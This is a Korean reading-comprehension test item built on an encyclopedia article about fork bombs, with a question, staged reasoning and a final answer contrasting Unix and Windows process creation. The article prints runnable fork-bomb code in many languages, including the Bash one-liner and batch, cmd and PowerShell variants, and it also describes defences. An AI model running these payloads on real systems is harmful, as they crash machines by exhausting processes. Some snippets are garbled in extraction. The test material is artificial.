문맥 (context)
[[컴퓨팅]]에서 ''포크 폭탄'', ''포크 밤''({{lang|en|fork bomb}}), ''토끼 바이러스''({{lang|en|rabbit virus}}), ''웨빗''({{lang|en|wabbit}})
== 구현체 ==
포크 폭탄은 [[포크 (시스템 호출)|포크]](fork) 프로세스 중 CPU 시간을 소비함으로써, 또 [[운영 체제]]의 프로세스 테이블을 포화 상태로 만듦으로써 동작한다. 기본적인 포크 폭탄의 구현체는 자신의 새로운 복사본을 반복적으로 실행하는 [[무한 루프]]이다.
[[유닉스]] 계열 운영 체제에서 포크 폭탄은 일반적으로 fork [[시스템 호출]]을 사용하도록 작성된다. 포크 폭탄은 일반적으로 이러한 시스템 메모리를 포화시키지 않는다.
[[마이크로소프트 윈도우]] 운영 체제는 유닉스의 fork 시스템 호출과 동일한 기능을 갖추고 있지 않는다. 그러므로 이러한 운영 체제에서 포크 폭탄은 기존의 것에서 포크하지 않고 새 프로세스를 만든다.
== 포크 폭탄의 예 ==
=== 루비 ===
fork while true
=== 펄 ===
[[펄]] 인터프리터를 이용한 인라인 셸 예시:
perl -e "fork while fork" &
=== 파이썬 ===
import os
while True:
os.fork()
=== C ===
int main()
while (1)
fork();
return 0;
=== 자바 ===
public class ForkBomb
public static void main(String[] args)
while (true)
Runtime.getRuntime().exec(new String[]{"javaw", "-cp", System.getProperty("java.class.path"), "ForkBomb"});
=== Lua ===
-- Requires `luaposix' module
local unistd = require "posix.unistd"
while true do
unistd.fork()
end
=== 어셈블리 ([[IA-32]]에서 실행되는 리눅스) ===
section .text
global _start
_start:
mov eax,2 ;System call for forking
int 0x80 ;Call kernel
jmp _start
=== 셸 스크립트 ===
다음은 셸 스크립트에서 2개의 $0 인스턴스를 실행하는 것이다. 여기서 $0는 스크립트 이름 자체를 반환하는 [[환경 변수]]이며 다른 인스턴스를 통해 출력물을 파이프 처리함으로써 기하급수적으로 프로세스를 복제시키는 결과를 낳는다.
./$0|./$0&
더 단순한 방식은 간단히 ./$0&를 두 번 실행하는 것이다:
./$0&
./$0&
=== Bash ===
[[Bash]]에서 포크 폭탄은 [[재귀 (컴퓨터 과학)|다중 재귀 함수]]를 선언하고 호출함으로써 수행할 수 있다:
bomb(){
bomb | bomb &
bomb
추가적으로 가장 유명하고 흔히 인용되는 포크 폭탄의 예시들 가운데 하나는 다음과 같이 간결한 1줄 Bash 명령어이다:
:(){ :|:& };:
이 명령어는 상기 명령의 난독화된 버전이다. 여기서의 트릭은 :를 함수명으로 사용한다는 점인데, 이것이 가능한 이유는 콜론이 다른 대부분의 언어에서처럼 Bash의 예약된 문자가 아니기 때문이다. 그 외의 경우는 동일하다.
[[유니코드]] 지원의 경우 다음과 같이 유사하게 렌더링이 가능하다:
?(){ ?|?& };?
=== 윈도우 [[배치 파일|배치]] ===
:ForkBomb
start
goto ForkBomb
상기와 동일하지만 더 짧게는 다음과 같이 쓸 수 있다:
상기와 동일하지만 이스케이프 특수문자에 ^를 사용하여 명령 줄에서 수행이 가능하다:
echo %0^|%0 >forkbomb.bat & forkbomb.bat
"실행..." 프롬프트에서 직접 실행할 수 있도록 설계된 간결한 버전은 다음과 같다:
cmd /k echo -^|->-.bat&-
=== 파워셸 ===
while ($true) {
Start-Process powershell.exe -ArgumentList "-NoExit", "Get-ChildItem -Recurse C:";
Invoke-Expression -Command 'while($true) {Start-Process powershell.exe -ArgumentList "-NoExit", "Get-ChildItem -Recurse C:"}';
=== 자바스크립트 ===
(f => f(f))(async f => f(f) && f(f));
== 예방 ==
포크 폭탄의 운용 방식이 온전히 새로운 프로세스를 만드는 방식이기 때문에 포크 폭탄이 시스템 전반에 심각한 영향을 주지 못하도록 만드는 한 방법으로는 단일 사용자가 소유할 수 있는 프로세스의 최대 수를 제한시키는 것이다. 리눅스에서는 ulimit 유틸리티를 사용하여 이를 수행할 수 있다. 이를테면 ulimit -u 30 명령을 실행하면 이에 영향을 받는 사용자가 30개의 프로세스를 최대로 소유할 수 있게 된다. [[장착형 인증 모듈|PAM]]을 사용하는 시스템에서 이 제한은 /etc/security/limits.conf,에서도 설정할 수 있으며 FreeBSD의 경우 시스템 관리자가 /etc/login.conf에 제한을 추가할 수 있다. 또, 현대의 리눅스 시스템들은 [[cgroups]]와 PID 컨트롤러를 통해 세부적인 포크 폭탄 예방이 가능하다.
== 각주 ==
지시문 (instruction)
주어진 원문을 읽고 필요한 정보를 파악하여, 원문에 근거해 질문에 답하라.
질문 (question)
운영 체제의 종류에 따라 포크 폭탄이 프로세스를 생성하는 방식은 어떻게 분류되는가?
추론 과정 (compact_reasoning)
-
1과제 해석
task_interpretation운영 체제별로 포크 폭탄이 프로세스를 생성하는 방식의 차이점을 분류하여 설명해야 한다.
-
2정보 추출
information_extraction유닉스 계열과 마이크로소프트 윈도우 운영 체제의 동작 방식 차이를 추출한다.
- [[유닉스]] 계열 운영 체제에서 포크 폭탄은 일반적으로 fork [[시스템 호출]]을 사용하도록 작성된다.
- [[마이크로소프트 윈도우]] 운영 체제는 유닉스의 fork 시스템 호출과 동일한 기능을 갖추고 있지 않는다. 그러므로 이러한 운영 체제에서 포크 폭탄은 기존의 것에서 포크하지 않고 새 프로세스를 만든다.
-
3근거 선택
evidence_selection유닉스는 fork 시스템 호출을 사용하고, 윈도우는 새 프로세스를 만든다는 핵심 근거를 선별한다.
- [[유닉스]] 계열 운영 체제에서 포크 폭탄은 일반적으로 fork [[시스템 호출]]을 사용하도록 작성된다.
- [[마이크로소프트 윈도우]] 운영 체제는 유닉스의 fork 시스템 호출과 동일한 기능을 갖추고 있지 않는다. 그러므로 이러한 운영 체제에서 포크 폭탄은 기존의 것에서 포크하지 않고 새 프로세스를 만든다.
-
4논리 통합
logical_integration두 운영 체제의 프로세스 생성 메커니즘의 차이를 대조하여 통합한다.
-
5결론 도출
conclusion_formulation유닉스 계열은 fork 시스템 호출을 이용하며, 윈도우는 기존 프로세스에서 포크하는 대신 새 프로세스를 생성하는 방식으로 분류된다.
- [[유닉스]] 계열 운영 체제에서 포크 폭탄은 일반적으로 fork [[시스템 호출]]을 사용하도록 작성된다.
- [[마이크로소프트 윈도우]] 운영 체제는 유닉스의 fork 시스템 호출과 동일한 기능을 갖추고 있지 않는다. 그러므로 이러한 운영 체제에서 포크 폭탄은 기존의 것에서 포크하지 않고 새 프로세스를 만든다.
-
6답변 생성
answer_generation질문에 대해 운영 체제별 생성 방식을 명확히 구분하여 답변을 작성한다.
- [[유닉스]] 계열 운영 체제에서 포크 폭탄은 일반적으로 fork [[시스템 호출]]을 사용하도록 작성된다.
- [[마이크로소프트 윈도우]] 운영 체제는 유닉스의 fork 시스템 호출과 동일한 기능을 갖추고 있지 않는다. 그러므로 이러한 운영 체제에서 포크 폭탄은 기존의 것에서 포크하지 않고 새 프로세스를 만든다.
최종 답변 (final_answer)
유닉스 계열 운영 체제에서의 포크 폭탄은 일반적으로 fork 시스템 호출을 사용하여 동작하지만, 마이크로소프트 윈도우 운영 체제는 유닉스와 동일한 fork 시스템 호출 기능을 갖추고 있지 않기 때문에 기존의 것에서 포크하지 않고 새 프로세스를 만드는 방식으로 동작한다.
핵심 해석 (core_interpretation)
유닉스 계열 운영 체제에서의 포크 폭탄은 일반적으로 fork 시스템 호출을 사용하여 동작하지만, 마이크로소프트 윈도우 운영 체제는 유닉스와 동일한 fork 시스템 호출 기능을 갖추고 있지 않기 때문에 기존의 것에서 포크하지 않고 새 프로세스를 만드는 방식으로 동작한다.